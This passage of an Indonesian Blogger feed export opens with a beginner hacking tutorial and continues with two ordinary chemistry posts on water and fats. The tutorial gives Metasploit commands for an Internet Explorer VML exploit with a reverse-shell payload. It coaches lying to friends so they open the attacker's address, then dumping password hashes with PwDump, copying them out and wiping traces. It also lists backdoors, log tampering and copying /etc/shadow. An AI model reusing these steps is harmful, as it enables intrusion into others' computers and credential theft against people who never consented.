yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.&lt;br /&gt;&lt;br /&gt;Pro dan Kontra Hacking&lt;br /&gt;&lt;br /&gt;Pro:&lt;br /&gt;Etika Hacking: Semua informasi adalah free&lt;br /&gt;Aspek Security: Intrusion adalah ilustrasi kelemahan sistem&lt;br /&gt;Idle Machines: Hacking hanya pada idle machines&lt;br /&gt;science education: hanya membobol tapi tidak merusak&lt;br /&gt;&lt;br /&gt;kontra:&lt;br /&gt;Etika Hacking:Jika semua informasi adalah free, maka tidak ada ladi privacy&lt;br /&gt;Aspek Security:Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci&lt;br /&gt;Idle Machines:idle machines milik siapa ?&lt;br /&gt;science education:“hacker wannabe” berpotensi sangat besar untuk merusak&lt;br /&gt;&lt;br /&gt;Okeh, sekarang waktunya melakukan aksi…&lt;br /&gt;1. Fase Persiapan&lt;br /&gt;&lt;br /&gt;~ Mengumpulkan informasi sebanyak-banyaknya&lt;br /&gt;&lt;br /&gt;– Secara Aktif : – portscanning&lt;br /&gt;&lt;br /&gt;– network mapping&lt;br /&gt;&lt;br /&gt;– OS Detection&lt;br /&gt;&lt;br /&gt;– application fingerprinting&lt;br /&gt;&lt;br /&gt;Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat&lt;br /&gt;&lt;br /&gt;– Secara Pasif : – mailing-list (jasakom, newbie_hacker, hackelink, dsb)&lt;br /&gt;&lt;br /&gt;– via internet registries (informasi domain, IP Addres)&lt;br /&gt;&lt;br /&gt;– Website yang menjadi terget&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Fase Eksekusi&lt;br /&gt;~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari lewat #IRC).&lt;br /&gt;~ Mengekspolitasi Vulnerability Holes&lt;br /&gt;- compile eksploit -&gt; local host -&gt;&lt;br /&gt;&lt;br /&gt;$gcc -o exploit exploit.c&lt;br /&gt;&lt;br /&gt;$./exploit&lt;br /&gt;&lt;br /&gt;# hostname (# tanda mendapatkan akses root)&lt;br /&gt;&lt;br /&gt;remote host -&gt; $gcc -o exploit exploit.c&lt;br /&gt;&lt;br /&gt;$./exploit -t www.target.com&lt;br /&gt;&lt;br /&gt;# (klo beruntung mendapatkan akes root)&lt;br /&gt;&lt;br /&gt;~ Brute Force&lt;br /&gt;&lt;br /&gt;– Secara berulang melakukan percobaan otentifikasi.&lt;br /&gt;&lt;br /&gt;– Menebak username dan password.&lt;br /&gt;&lt;br /&gt;– Cracking password file&lt;br /&gt;&lt;br /&gt;~ Social Engineering&lt;br /&gt;&lt;br /&gt;– Memperdayai user untuk memeberi tahu Username dan password&lt;br /&gt;&lt;br /&gt;– Intinya ngibulin user….&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Fase Setelah Eksekusi&lt;br /&gt;&lt;br /&gt;~ Menginstall backdoor, trojans, dan rootkit&lt;br /&gt;&lt;br /&gt;~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin&lt;br /&gt;&lt;br /&gt;~ Menyalin /etc/passwd atau /etc/shadow/passwd&lt;br /&gt;&lt;br /&gt;Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komputer pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine menggunakan VMWare seperti yang nanti akan dibahas diberikutnya...&lt;br /&gt;&lt;br /&gt;Setelah mengetahui sedikit dan konsep dasar ‘standar’ mengenai hack yang dibahas dibagian pertama dan mengetahui sedikit materi mengenai exploit pada bagian kedua, sekarang langsung aja kita praktek. Disini saya sengaja menggunakan VMWare untuk melakukan simulasi, karena tidak semua orang dapat mempraktekannya dalam suatu jaringan. Dengan menggunakan VMWare, kita dapat mensimulasikan jaringan sederhana yang seolah-olah ada suatu jaringan yang terdiri dari komputer kita sendiri dan komputer lainnya. Bagi yang belum bisa menggunakan VMWare, coba cari diinternet! Sistem Operasi yang saya gunakan adalah Windows XP SP2.&lt;br /&gt;&lt;br /&gt;Tools yang saya gunakan adalah Metasploit Framework untuk melakukan exploit serta PwDump6 untuk mengambil hash file dari komputer target. Apa itu Metasploit Framework ?Untuk penggunaan lebih lanjut mengenai Metasploit, anda dapat membaca dokomentasi yang juga diikutsertakan dalam instalasi. Untuk melakukan instalasi metasploit versi 2.7, dibutuhkan user administrator. Sebelumnya saya mencoba menginstall dengan ‘limited user’ tapi setelah diinstall tidak bisa dijalankan. Sebenarnya instalasi metasploit ini hanya mengekstrak file saja. Jadi anda dapat menginstallnya tanpa harus mendapatkan user admin serta meletakkannya dimanapun tanpa harus menginstal di Folder Program Files. Namun setelah sedikit dioprek, ternyata tidak harus admin yang bisa menjalankan. Agak ribet dan males juga sih nulis disini, soalnya ketika mencoba versi terbaru, yaitu versi 3 Beta 3, kita dapat menjalankannya tanpa harus menginstall dengan user admin. Gitu aja ko repot! Lagipula versi 3 (skarang msh beta) lebih keren dan fiturnya lebih banyak. Tapi sayangnya untuk msfweb (versi webnya) belum bisa dijalankan sepenuhnya.&lt;br /&gt;&lt;br /&gt;Ok.. sekarang saya asumsikan anda telah membaca userguide metasploit (ah.. paling asumsi saya salah ;p). Biar lebih keliatan keren dan memahami detailnya, saya menjelaskan metasplooit yang menggunakan console (mfsconsole) saja. Metasploit menggunakan cygwin untuk menjalankannya, karena metasploit dibuat menggunakan Perl. Sekarang mari kita praktekkan!!&lt;br /&gt;&lt;br /&gt;Pertama2 jalankan ‘mfsconsole’!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SvlPUyhQb3I/AAAAAAAAAFU/eHcTkqFdlZk/s1600-h/hack.jpg"&gt;&lt;img style="cursor: pointer; width: 472px; height: 405px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SvlPUyhQb3I/AAAAAAAAAFU/eHcTkqFdlZk/s320/hack.jpg" alt="" id="BLOGGER_PHOTO_ID_5402436446584860530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Untuk mempelajari command apa saja yang ada di MSFConsole gunakan perintah ‘help’.&lt;br /&gt;Karena komputer yang ingin dijadikan target adalah Windows XP SP2, maka digunakan exploit yang berpengaruh terhadap XP SP2 yaitu dengan memanfaatkan kelemahan pada Internet Explorer VML Fill Method Code Execution.&lt;br /&gt;&lt;br /&gt;Untuk melihat info dari exploit ini gunakan perintah :&lt;br /&gt;&lt;br /&gt; msf &gt; info ie_vml_rectfill&lt;br /&gt;&lt;br /&gt;Exploit ie_vml_rectfill memanfaatkan kelemahan pada Internet Explorer. Oleh karena itu, exploit ini akan berpengaruh jika komputer target menjalankan IE dan mengarahkan url-nya ke komputer penyerang. Untuk itu, kita harus menggunakan sedikit ‘social engineering’, seperti jika di kost/lab/kantor kita bilang ke teman kita bahwa kita sedang mencoba membuat aplikasi web terbaru, lalu minta tolong dilihat menggunakan IE ke alamat IP (atau nama komputer) kita. Misalkan http://192.168.186.1. Biasanya setelah exploit ini dijalankan dan komputer target telah terhubung, maka IE akan crash. Biarkan beberapa saat untuk membiarkan exploit ‘bekerja’. Setelah beberapa saat bilang aja “wah.. ada error nih. Ok deh.. saya coba betulin dulu… makasih ya”. Baru tutup IE-nya pake Task Manager (walaupun pake TM, IE msh sulit di-kill, jangan lupa untuk me-’end process’-kan ‘dumpred.exe’ juga, tapi setelah exploit bekerja :-D ).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Untuk menggunakan exploit gunakan perintah2 berikut dalam console :&lt;br /&gt;&lt;br /&gt; msf &gt; use_ie_vml_rectfill&lt;br /&gt;&lt;br /&gt; msf &gt; set PAYLOAD win32_reverse&lt;br /&gt;&lt;br /&gt; msf &gt; set RHOST ip_target&lt;br /&gt;&lt;br /&gt; msf &gt; set LHOST ip_penyerang&lt;br /&gt;&lt;br /&gt; msf &gt; exploit&lt;br /&gt;&lt;br /&gt;Hasilnya akan tampak seperti gambar berikut :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SvlQeXMa6fI/AAAAAAAAAFc/ix4n4-LZCUk/s1600-h/hack1.jpg"&gt;&lt;img style="cursor: pointer; width: 492px; height: 393px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SvlQeXMa6fI/AAAAAAAAAFc/ix4n4-LZCUk/s320/hack1.jpg" alt="" id="BLOGGER_PHOTO_ID_5402437710560029170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Dalam contoh diatas, IP komputer target (RHOST) adalah 192.168.186.128, sedangkan komputer penyerang (LHOST) adalah 192.168.186.1. Lalu ‘payload’ yang digunakan adalah ‘win32_reverse’ dan HTTP PORT nya adalah 80 (default http port). Setalah menjalankan perintah ‘exploit’, baru kita minta komputer target untuk menjalankan IE dan mengarahkan url-nya ke komputer kita. Proses ini akan memakan waktu agak lama, bahkan terkadang tidak berhasil. Jadi coba-coba aja terus :-D&lt;br /&gt;&lt;br /&gt;Jika anda berhasil, maka anda akan mendapatkan ‘cmd.exe’ dari komputer target.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Crack da Password!&lt;br /&gt;&lt;br /&gt;Nah, setelah kita ‘menguasai’ komputer target, skalian aja kita lihat password-nya. Caranya mirip dengan artikel saya sebelumnya tentang Hack Win XP SP2 Password, tapi karena ini remote maka kita harus ‘menyediakan’ program yg dibutuhkan yaitu PwDump. Agar cara ini berhasil, saya asumsikan pada komputer target user yang sedang login mempunyai akses admin. Klo user yang digunakan komputer target yang dimanfaatkan IE-nya hanya user ‘biasa’, pwdump tidak akan berhasil!&lt;br /&gt;&lt;br /&gt;Pertama kita share dulu PwDump dari komputer kita dengan full access agar kita bisa mengupload hasil dump password komputer target, tapi dengan akhiran ‘$’ biar tidak terlihat dikomputer umum. Misalkan nama folder yang di share PwDump$. Lalu dari console yang berhasil dihack, ambil PwDump dengan Map Network Drive dari komputer kita dengan ‘net use’. Contoh perintah yang digunakan :&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SvlRWBWTiwI/AAAAAAAAAFk/lAHlFCU5jdY/s1600-h/hack2.jpg"&gt;&lt;img style="cursor: pointer; width: 495px; height: 421px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SvlRWBWTiwI/AAAAAAAAAFk/lAHlFCU5jdY/s320/hack2.jpg" alt="" id="BLOGGER_PHOTO_ID_5402438666768583426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Setelah itu copy Pwdump ke komputer target dalam folder sementara, ‘temp’. Setelah Pwdump berhasil di-copy ke komputer target, jalankan Pwdump dengan perintah&lt;br /&gt;&lt;br /&gt;C:\temp\Pwdump –o pass.txt 127.0.0.1&lt;br /&gt;&lt;br /&gt;Klo berhasil akan tampak pada gambar berikut.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/SvlSAuIqdNI/AAAAAAAAAFs/2h5F-pq9jeQ/s1600-h/hack3.jpg"&gt;&lt;img style="cursor: pointer; width: 502px; height: 401px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/SvlSAuIqdNI/AAAAAAAAAFs/2h5F-pq9jeQ/s320/hack3.jpg" alt="" id="BLOGGER_PHOTO_ID_5402439400345466066" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Lalu copy file pass.txt ke komputer kita&lt;br /&gt;&lt;br /&gt;C:\temp\copy pass.txt z:&lt;br /&gt;&lt;br /&gt;Dan terakhir, jangan tinggalkan jejak bahwa kita sudah mampir kesitu.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SvlStHJvuCI/AAAAAAAAAF0/kTZUiJVLZns/s1600-h/hack4.jpg"&gt;&lt;img style="cursor: pointer; width: 513px; height: 466px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SvlStHJvuCI/AAAAAAAAAF0/kTZUiJVLZns/s320/hack4.jpg" alt="" id="BLOGGER_PHOTO_ID_5402440162975135778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nah, udah dapet hash file nya kan. Tinggal di crack aja deh…. (baca artikel sebelumnya buat nge-crack password).&lt;br /&gt;&lt;br /&gt;Sebenarnya masih banyak yang dapat dioprek dari metasploit. Dalam metasploit terdapat banyak exploit, payload, meterpreter, dsb yang sangat ‘menyenangkan’ untuk dioprek. Untuk mempelajari metasploit, disitusnya terdapat dokumentasi yang lumayan baik.&lt;br /&gt;&lt;br /&gt;Happy Hacking…..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Beberapa saran agar windows kita tetap aman terhadap exploit diatas.&lt;br /&gt;&lt;br /&gt;1. Jangan gunakan Internet Explorer. Gunakan Mozilla Firefox atau Opera!.&lt;br /&gt;&lt;br /&gt;2. Patch Windows anda.&lt;br /&gt;&lt;br /&gt;3. Gunakan antivirus dengan update terbaru&lt;br /&gt;&lt;br /&gt;4. Hati2 terhadap teman anda sendiri.. waspadalah!! ;p&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SvldgXbSQZI/AAAAAAAAAGE/0U7E8aQN9QI/s1600-h/zone+achmad.jpg"&gt;&lt;img style="cursor: pointer; width: 271px; height: 181px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SvldgXbSQZI/AAAAAAAAAGE/0U7E8aQN9QI/s320/zone+achmad.jpg" alt="" id="BLOGGER_PHOTO_ID_5402452038633275794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Reference :&lt;br /&gt;&lt;br /&gt;http://www.metasploit.com&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-937998084004046138?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/937998084004046138/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2009/11/belajar-hack-bagi-pemula.html#comment-form' title='4 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/937998084004046138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/937998084004046138'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2009/11/belajar-hack-bagi-pemula.html' title='belajar hack bagi pemula'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_lylI1wyyUFQ/SvlM8U4N2rI/AAAAAAAAAFM/VPlpInZiE6g/s72-c/hacker.jpg' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-652982324705543890</id><published>2009-10-17T09:27:00.000-07:00</published><updated>2009-11-08T04:51:08.902-08:00</updated><title type='text'>air, sicantik yang tersia-sia</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/Stn1ceUtLeI/AAAAAAAAAEM/mQrNJOrTlfU/s1600-h/ikh.gif"&gt;&lt;img style="cursor: pointer; width: 200px; height: 182px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/Stn1ceUtLeI/AAAAAAAAAEM/mQrNJOrTlfU/s200/ikh.gif" alt="" id="BLOGGER_PHOTO_ID_5393611898277932514" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/Stn1HAlyWXI/AAAAAAAAAEE/Z_qURwV4zL0/s1600-h/h2o.jpg"&gt;&lt;img style="cursor: pointer; width: 200px; height: 158px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/Stn1HAlyWXI/AAAAAAAAAEE/Z_qURwV4zL0/s200/h2o.jpg" alt="" id="BLOGGER_PHOTO_ID_5393611529519257970" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Air sicantik yang tersia-sia&lt;br /&gt;Sudah tidak asing lagi kalau kita mendengar samarinda mengalami kejadian yang berkaitan dengan air yaitu banjir, meskipun ada di beberapa daerah yang mengalami kekeringan. Sebenarnya istilah bencana kekeringan tidak tepat juga karena kenyataannya negara kepulauan kita dikelilingi oleh air, namun tepat adanya jika kita menyebut krisis air bersih. tentu saja terjadi krisis air terutama di pulau Jawa yang berpenduduk padat dan memiliki lokasi industri demikian banyak oleh karena masih sedikit kepedulian kita terhadap zat yang cantik dan vital tersebut. Bahkan lahan tempat sumber-sumber airpun dijarah atas nama pembangunan sehingga pembangunan berwawasan lingkungan hanya tinggal menjadi istilah yang hebat namun hampa.&lt;br /&gt;&lt;span class="fullpost"&gt;Sudah tidak asing lagi kalau kita mendengar samarinda mengalami kejadian yang berkaitan dengan air yaitu banjir, meskipun ada di beberapa daerah yang mengalami kekeringan. Sebenarnya istilah bencana kekeringan tidak tepat juga karena kenyataannya negara kepulauan kita dikelilingi oleh air, namun tepat adanya jika kita menyebut krisis air bersih. tentu saja terjadi krisis air terutama di pulau Jawa yang berpenduduk padat dan memiliki lokasi industri demikian banyak oleh karena masih sedikit kepedulian kita terhadap zat yang cantik dan vital tersebut. Bahkan lahan tempat sumber-sumber airpun dijarah atas nama pembangunan sehingga pembangunan berwawasan lingkungan hanya tinggal menjadi istilah yang hebat namun hampa.&lt;br /&gt;Bukan Sembarang Cairan,&lt;br /&gt;Kita yang awam mengenal air sebagai kebutuhan paling pokok, bahkan tampaknya lebih pokok daripada kebutuhan primer apapun. siapapun tak akan dapat bertahan tanpa air. sehari-hari kita berinteraksi dengan air namun alangkah miskinnya pengetahuan kita tentang air membuat kita kurang menghargainya lebih dari sekedar barang yang cair dan penting. Tak kenal maka tak sayang, maka mari kita berkenalan sedikit lebih intim dengan "water, the beautiful thing" agar semakin tumbuh kecintaan kita terhadapnya sehingga kita bisa lebih menghargainya.&lt;br /&gt;Melihat air yang jernih bagaikan melihat permata berlian yang berkilauan. Sesungguhnya air yang cair itu adalah kumpulan trilyunan molekul H2O. Dalam dunia kimia dikenal H sebagai atom hidrogen dan O sebagai atom oksigen. Jadi H2O adalah satu molekul air yang mengandung satu atom oksigen dan 2 atom hidrogen. Padahal kita tahu bahwa pada tekanan atmosfer, oksigen dan hidrogen berwujud gas tapi ketika mereka bersatu saling mengikat janji bisa berubah wujudnya menjadi cair. Berkat kecerdasan kimiawan masa lalu kita dapat melakukan perhitungan begini, dalam 18 gram atau kurang lebih 18 mililiter air terkandung 6,022 x 1023 molekul H2O. Jadi, jika satu milyar adalah 10 maka bilangan tadi bermakna 602,2 ribu milyar milyar dan bilangan tersebut dikenal sebagai konstanta Avogadro. Itu baru 18 mililiter air, bayangkan jika kita meneguk segelas air atau mandi atau bahkan mengisi kolam renang, berapa banyak jumlah molekul air yang telah kita gunakan atau bahkan kita buang !!&lt;br /&gt;Molekul Air yang cantik dan Istimewa,&lt;br /&gt;Jika kita melihat bentuk molekul air, maka semakin terbukalah rahasia mengapa zat ini demikian istimewa. Sesungguhnya jika gas oksigen dan gas hidrogen bertemu untuk membentuk molekul air, reaksi yang terjadi sangatlah berbahaya karena bisa timbul panas yang tinggi bahkan ledakan karena oksigen adalah gas yang dibutuhkan untuk pembakaran dan hidrogen adalah gas yang mudah terbakar. Tapi untunglah Tuhan telah menyediakan air semenjak penciptaan sehingga kita tidak perlu membuat air dengan ledakan. Kurang lebih dibebaskan energi berupa panas sebesar 242 kilo Joule untuk membuat air sebanyak 18 gram dari 22,4 liter atau 2 gram gas hidrogen dan .11,2 liter atau 16 gram gas oksigen pada suhu 0 derajat Celcius dan tekanan satu atmosfer. Mari kita lihat bentuk molekul air yang berhasil diamati dengan berbagai percobaan dan perhitungan yang rumit.&lt;br /&gt;Bentuk molekul air tersebut dan terutama sifat elektroniknya menjadikan air memiliki sifat fisika dan kimia yang fantastis. Apakah sifat elektronik itu ? Dalam pemahaman kimia dan fisika, semua sifat-sifat atom dan molekul ditentukan oleh perangai dan keadaan elektron yang mengelilingi inti atom. Ternyata alam mengajarkan kita lebih banyak lagi tentang berbagi dan bekerja sama. Ikatan yang terjadi antara dua atom hidrogen dan satu atom oksigen menjadi satu molekul air disebut ikatan kovalen. Yaitu ikatan antar atom yang terjadi karena setiap atom menyumbangkan elektron yang dimiliki untuk saling berpasangan dan digunakan bersama membentuk satu ikatan. Namun, karena oksigen memiliki kelebihan pasangan elektron, maka elektron yang tidak membentuk ikatan tersebut dikatakan sebagai "pasangan elektron bebas". Adanya elektron bebas yang bersifat sangat negatif menjauhkan kedudukannya dari dua atom hidrogen sehingga ikatan H2O membengkok sebesar 107.5 derajat. Sedangkan keadaan alamiah atom oksigen yang bersifat negatif dan atom hidrogen yang bersifat positif menimbulkan pengkutuban atau perbedaan muatan. Kedua keadaan itulah yang menjadikan molekul air bersifat polar, artinya molekul air memiliki perbedaan muatan yakni negatif pada sisi pasangan elektron bebas dan positif pada sisi atom hidrogen. Kepolaran air bisa berarti segalanya dan amatlah besar faedahnya. Kepolaranlah yang menjadikan air dapat menghantarkan arus listrik. Berkat sifat air yang polar, dia bisa melarutkan berbagai macam zat lain, misalnya darah, protein, vitamin, garam dan lain-lain. Kenyataannya, air merupakan pelarut universal yang paling ramah terhadap lingkungan. Demikian sebaliknya, air terpisah dari minyak dan lemak karena adanya perbedaan kepolaran. Coba bayangkan jika air dan minyak dapat bercampur, betapa susahnya membersihkan tumpahan minyak di laut lepas !!. Walaupun demikian, sering kali sifat air sebagai pelarut universal malah merugikan dirinya sendiri karena dia mudah sekali tercemari oleh beraneka ragam materi kimia maupun biologi sehingga sulit untuk membersihkannya lagi, apalagi ditambah dengan ketidakkepedulian kita untuk menjaga kemurniannya.&lt;br /&gt;Adanya perbedaan muatan menjadikan ikatan antar molekul air sendiri cukup kuat sehingga pada suhu ruangan dia berbentuk cair, dibandingkan dengan bensin yang segera menguap. Aksi tarik menarik antara atom hidrogen di satu molekul air dengan pasangan elektron bebas pada molekul air yang lain disebut ikatan hidrogen dan oleh sebab itu diperlukan suhu 100o Celcius untuk mengubah keadaan cair menjadi uap. Air dikatakan memiliki nilai kalor spesifik yang tinggi, artinya diperlukan energi yang cukup besar untuk menjadikannya mendidih sebaliknya air dapat melepaskan panas perlahan-lahan ke lingkungan. Berkat sifat tersebut iklim di bumi tetap stabil demikian juga tubuh kita memiliki suhu yang konstan karena kurang lebih 70% permukaan bumi dan 60% tubuh mahluk hidup terdiri dari air.&lt;br /&gt;Begitu banyak keistimewaan air sehingga manfaatnya pun demikian luas mencakup berbagai aspek seperti kimia, fisika, biologi hingga agama, budaya, seni, bahkan ekonomi dan politik. Sungguh, air yang cantik dan sangat penting dalam kehidupan kita itu memang materi yang paling melimpah di bumi. Air diciptakan dan dicurahkan bukan berarti untuk disia-siakan, maka sekarang saatnya untuk kita lebih menghargai air sebagai ciptaan Tuhan yang paling indah.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-652982324705543890?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/652982324705543890/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2009/10/air-sicantik-yang-tersia-sia-sudah.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/652982324705543890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/652982324705543890'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2009/10/air-sicantik-yang-tersia-sia-sudah.html' title='air, sicantik yang tersia-sia'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_lylI1wyyUFQ/Stn1ceUtLeI/AAAAAAAAAEM/mQrNJOrTlfU/s72-c/ikh.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-3029107965060179064</id><published>2009-10-17T09:00:00.000-07:00</published><updated>2009-10-17T09:07:29.378-07:00</updated><title type='text'></title><content type='html'>&lt;span style="font-weight:bold;"&gt;Identifikasi Lemak&lt;/span&gt;&lt;br /&gt;Lemak merupakan sumber tenaga kalori yang padat. Lemak ada di mana-mana. Di makanan bisa terdapat pada bahan yang berasal dari hewan ataupun tumbuh-tumbuhan. Di dalam tubuh, lemak juga terdapat di mana-mana, di sela-sela sel-sel otot ataupun terkumpul dalam jaringan lemak, sama dengan lemak hewani.&lt;br /&gt;Mengonsumsi makanan yang memiliki kadar lemak yang tinggi secara berlebihan berpotensi meningkatan resiko terhadap penyakit jantung serta kegemukan yang membawa komplikasi ragam penyakit lainnya.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SEKILAS TENTANG LEMAK&lt;br /&gt;DISUSUN OLEH:&lt;br /&gt;ACHMAD MUHLISIN DAN KAWAN-KAWAN FMIPA UNMUL&lt;br /&gt;&lt;br /&gt;BAB 2&lt;br /&gt;PEMBAHASAN&lt;br /&gt;&lt;br /&gt;2. 1. Identifikasi Lemak&lt;br /&gt;Lemak merupakan sumber tenaga kalori yang padat. Lemak ada di mana-mana. Di makanan bisa terdapat pada bahan yang berasal dari hewan ataupun tumbuh-tumbuhan. Di dalam tubuh, lemak juga terdapat di mana-mana, di sela-sela sel-sel otot ataupun terkumpul dalam jaringan lemak, sama dengan lemak hewani.&lt;br /&gt;Mengonsumsi makanan yang memiliki kadar lemak yang tinggi secara berlebihan berpotensi meningkatan resiko terhadap penyakit jantung serta kegemukan yang membawa komplikasi ragam penyakit lainnya.&lt;br /&gt;Lemak berfungsi sebagai cadangan energi dalam tubuh. Namun bila ditinjau dari fungsinya, lemak dalam tubuh dibedakan atas lemak cadangan dan lemak struktur. Lemak cadangan sebagaimana yang disebutkan di atas, merupakan cadangan energi. Sebaliknya, lemak struktur merupakan komponen dalam semua tenunan lunak dalam tubuh. Lemak ini sebagian besar terdiri dari kolesterol dan fosfolipid.&lt;br /&gt;Ditinjau dari kategorinya, terdapat lemak jenuh, lemak tidak jenuh tunggal, dan lemak tidak jenuh ganda. Lemak jenuh mempunyai sifat yang tidak menyenangkan, yaitu menyebabkan darah menjadi lengket dengan dinding pembuluh darah, sehingga darah acapkali menjadi mudah menggumpal dan terjadi penyumbatan.&lt;br /&gt;Selain itu, lemak jenuh memudahkan terjadinya pengerasan dinding pembuluh darah. Lemak jenuh banyak terdapat pada lemak nabati (minyak kelapa), lemak susu (mentega), lemak daging, dan lain lain. Lemak tidak jenuh tunggal mempunyai sifat netral, tidak terlalu jahat, tetapi juga tidak terlalu menguntungkan.&lt;br /&gt;Sesungguhnya lemak sangat diperlukan oleh tubuh. Lemak memiliki fungsi sebagai pelarut vitamin. Dengan larutnya vitamin dalam lemak, vitamin dapat diserap oleh tubuh. Di samping itu, lemak merupakan sumber asam lemak esensial, utamanya asam lemak linoleat, linolenat, dan oleat. Tubuh tidak dapat memroduksi lemak-lemak ini, jadi asupannya mutlak dari luar tubuh.(DA)&lt;br /&gt;http://indocelebes.blogspot.com/2009/03/lemak.html&lt;br /&gt;Lemak dan minyak adalah salah satu kelompok yang termasuk pada golongan lipid , yaitu senyawa organik yang terdapat di alam serta tidak larut dalam air, tetapi larut dalam pelarut organik non-polar,misalnya dietil eter 